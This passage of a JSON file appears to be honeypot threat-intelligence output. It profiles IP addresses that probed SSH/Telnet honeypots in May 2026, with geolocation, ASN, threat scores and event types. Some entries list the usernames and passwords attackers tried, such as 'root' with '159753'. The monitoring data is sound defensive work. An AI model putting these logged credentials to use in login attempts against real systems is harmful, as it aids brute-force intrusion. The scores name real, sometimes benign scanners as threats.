      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:02:07.358000+00:00",
        "last_seen_30d": "2026-05-23T14:01:23.880000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 54
      }
    },
    "223.123.43.71": {
      "attack_count": 94,
      "first_seen": "2026-05-19T11:16:51.405Z",
      "last_seen": "2026-05-28T07:38:14.348Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 37.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:16:51.405000+00:00",
        "last_seen_30d": "2026-05-28T07:39:15.558000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 49
      }
    },
    "42.56.148.42": {
      "attack_count": 92,
      "first_seen": "2026-05-08T15:22:04.361Z",
      "last_seen": "2026-05-08T15:27:29.755Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:22:04.361000+00:00",
        "last_seen_30d": "2026-05-08T15:28:38.989000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 47
      }
    },
    "185.102.171.239": {
      "attack_count": 72,
      "first_seen": "2026-05-05T05:03:01.816Z",
      "last_seen": "2026-05-11T22:45:37.106Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Dronten",
      "asn": 211043,
      "as_org": "Dedifix BV",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T05:03:01.816000+00:00",
        "last_seen_30d": "2026-05-11T22:46:46.727000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "34.22.203.157": {
      "attack_count": 72,
      "first_seen": "2026-05-13T03:20:38.600Z",
      "last_seen": "2026-05-13T03:21:34.285Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 4144",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T03:20:38.600000+00:00",
        "last_seen_30d": "2026-05-13T03:22:44.295000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "23.94.200.194": {
      "attack_count": 66,
      "first_seen": "2026-05-05T04:25:19.131Z",
      "last_seen": "2026-05-31T19:05:03.928Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Marietta",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 53.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:25:19.131000+00:00",
        "last_seen_30d": "2026-05-31T19:06:10.290000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "105.184.25.37": {
      "attack_count": 38,
      "first_seen": "2026-05-19T10:36:49.232Z",
      "last_seen": "2026-05-19T17:42:33.570Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Pietermaritzburg",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T10:36:49.232000+00:00",
        "last_seen_30d": "2026-05-19T17:43:42.143000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 19
      }
    },
    "14.102.189.233": {
      "attack_count": 38,
      "first_seen": "2026-05-10T11:49:29.482Z",
      "last_seen": "2026-05-10T11:54:13.289Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 137120,
      "as_org": "Nas Internet Services Private Limited",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T11:49:29.482000+00:00",
        "last_seen_30d": "2026-05-10T11:55:16.548000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "117.207.34.195": {
      "attack_count": 28,
      "first_seen": "2026-05-22T20:51:01.953Z",
      "last_seen": "2026-05-22T22:55:50.712Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "N\u0101gaur",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:51:01.953000+00:00",
        "last_seen_30d": "2026-05-22T22:56:53.703000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 14
      }
    },
    "45.148.10.141": {
      "attack_count": 24,
      "first_seen": "2026-05-09T16:04:07.747Z",
      "last_seen": "2026-05-29T16:02:07.085Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 42.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T16:04:07.747000+00:00",
        "last_seen_30d": "2026-05-29T16:03:16.736000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "46.62.239.90": {
      "attack_count": 24,
      "first_seen": "2026-05-15T21:26:09.328Z",
      "last_seen": "2026-05-28T08:55:34.909Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T21:26:09.328000+00:00",
        "last_seen_30d": "2026-05-28T08:56:35.715000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "103.214.150.97": {
      "attack_count": 18,
      "first_seen": "2026-05-19T06:56:44.147Z",
      "last_seen": "2026-05-19T08:47:31.391Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Cambodia",
      "country_code": "KH",
      "city": null,
      "asn": 135333,
      "as_org": "AKCTV Pte. Ltd.",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:56:44.147000+00:00",
        "last_seen_30d": "2026-05-19T08:48:40.752000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "119.96.242.82": {
      "attack_count": 15,
      "first_seen": "2026-05-08T05:26:28.085Z",
      "last_seen": "2026-05-08T06:02:49.243Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "ftpuser",
        "sam",
        "ubuntu"
      ],
      "passwords_attempted": [
        "4r3e2w1q",
        "P@ssword123",
        "test"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hefei",
      "asn": 58563,
      "as_org": "CHINANET Hubei province network",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:26:28.085000+00:00",
        "last_seen_30d": "2026-05-08T06:03:50.772000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "64.176.219.92": {
      "attack_count": 12,
      "first_seen": "2026-05-04T08:23:13.206Z",
      "last_seen": "2026-05-04T17:51:32.656Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T07:56:27.602000+00:00",
        "last_seen_30d": "2026-05-04T19:11:00.433000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Cowrie": 12
      }
    },
    "83.191.163.11": {
      "attack_count": 10,
      "first_seen": "2026-05-14T23:37:54.794Z",
      "last_seen": "2026-05-14T23:45:59.809Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Gothenburg",
      "asn": 1257,
      "as_org": "Tele2 SWIPnet",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T23:37:54.794000+00:00",
        "last_seen_30d": "2026-05-16T14:36:53.653000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "192.42.116.96": {
      "attack_count": 8,
      "first_seen": "2026-05-18T20:36:53.552Z",
      "last_seen": "2026-05-18T20:37:15.372Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T20:36:53.552000+00:00",
        "last_seen_30d": "2026-05-18T20:38:18.241000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "94.26.106.33": {
      "attack_count": 7,
      "first_seen": "2026-05-07T21:56:29.304Z",
      "last_seen": "2026-05-07T21:56:31.774Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "debian"
      ],
      "passwords_attempted": [
        "temppwd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 20.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 25,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T08:19:01.982000+00:00",
        "last_seen_30d": "2026-05-29T12:32:35.039000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 7,
        "Honeytrap": 2
      }
    },
    "128.199.225.7": {
      "attack_count": 6,
      "first_seen": "2026-05-09T07:08:53.905Z",
      "last_seen": "2026-05-15T18:23:23.342Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "ansadmin",
        "chandler"
      ],
      "passwords_attempted": [
        "ansadmin",
        "chandler"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 61.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.7,
        "persistence": 22.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 27,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T22:17:25.188000+00:00",
        "last_seen_30d": "2026-05-31T07:43:59.552000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 10,
        "Cowrie": 6
      }
    },
    "176.65.132.18": {
      "attack_count": 6,
      "first_seen": "2026-05-06T18:22:05.620Z",
      "last_seen": "2026-05-06T18:22:07.448Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T18:22:05.620000+00:00",
        "last_seen_30d": "2026-05-06T18:23:10.590000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "205.210.31.110": {
      "attack_count": 6,
      "first_seen": "2026-05-04T16:48:25.089Z",
      "last_seen": "2026-05-12T03:40:44.566Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 92.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T00:05:04+00:00",
        "last_seen_30d": "2026-05-31T23:19:32.609000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Honeytrap": 48,
        "Cowrie": 6,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "23.95.67.200": {
      "attack_count": 6,
      "first_seen": "2026-05-18T02:46:35.538Z",
      "last_seen": "2026-05-18T02:46:41.996Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T02:46:35.538000+00:00",
        "last_seen_30d": "2026-05-18T02:47:44.975000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.172.141": {
      "attack_count": 6,
      "first_seen": "2026-05-28T01:35:48.626Z",
      "last_seen": "2026-05-28T01:36:24.811Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T04:11:14+00:00",
        "last_seen_30d": "2026-05-31T01:34:29.860000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 153,
        "Honeytrap": 46,
        "ElasticPot": 12,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "Dionaea": 3,
        "Honeyaml": 3
      }
    },
    "66.132.172.197": {
      "attack_count": 6,
      "first_seen": "2026-05-20T01:31:43.945Z",
      "last_seen": "2026-05-20T01:32:27.378Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 82.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.8,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 241,
        "days_active_30d": 27,
        "ports_targeted_30d": 56,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T06:01:56.990000+00:00",
        "last_seen_30d": "2026-05-28T22:43:42.727000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 134,
        "Honeytrap": 74,
        "ConPot": 12,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Tanner": 5,
        "ElasticPot": 4
      }
    },
    "66.132.195.125": {
      "attack_count": 6,
      "first_seen": "2026-05-04T00:32:47.766Z",
      "last_seen": "2026-05-04T00:33:23.289Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 76.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.7,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 27,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T16:07:12+00:00",
        "last_seen_30d": "2026-05-29T16:31:45.620000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 11,
        "Cowrie": 6,
        "ElasticPot": 3
      }
    },
    "14.103.118.167": {
      "attack_count": 5,
      "first_seen": "2026-05-25T11:19:23.985Z",
      "last_seen": "2026-05-25T11:19:26.740Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "159753"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T11:19:23.985000+00:00",
        "last_seen_30d": "2026-05-25T11:20:32.147000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "182.43.76.81": {
      "attack_count": 5,
      "first_seen": "2026-05-17T08:52:08.737Z",
      "last_seen": "2026-05-17T08:52:12.590Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "e7d7v9d54y"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T08:52:08.737000+00:00",
        "last_seen_30d": "2026-05-17T08:53:21.979000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "81.17.96.139": {
      "attack_count": 5,
      "first_seen": "2026-05-24T13:33:03.714Z",
      "last_seen": "2026-05-24T13:33:06.080Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "test"
      ],
      "passwords_attempted": [
        "kelltech#2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
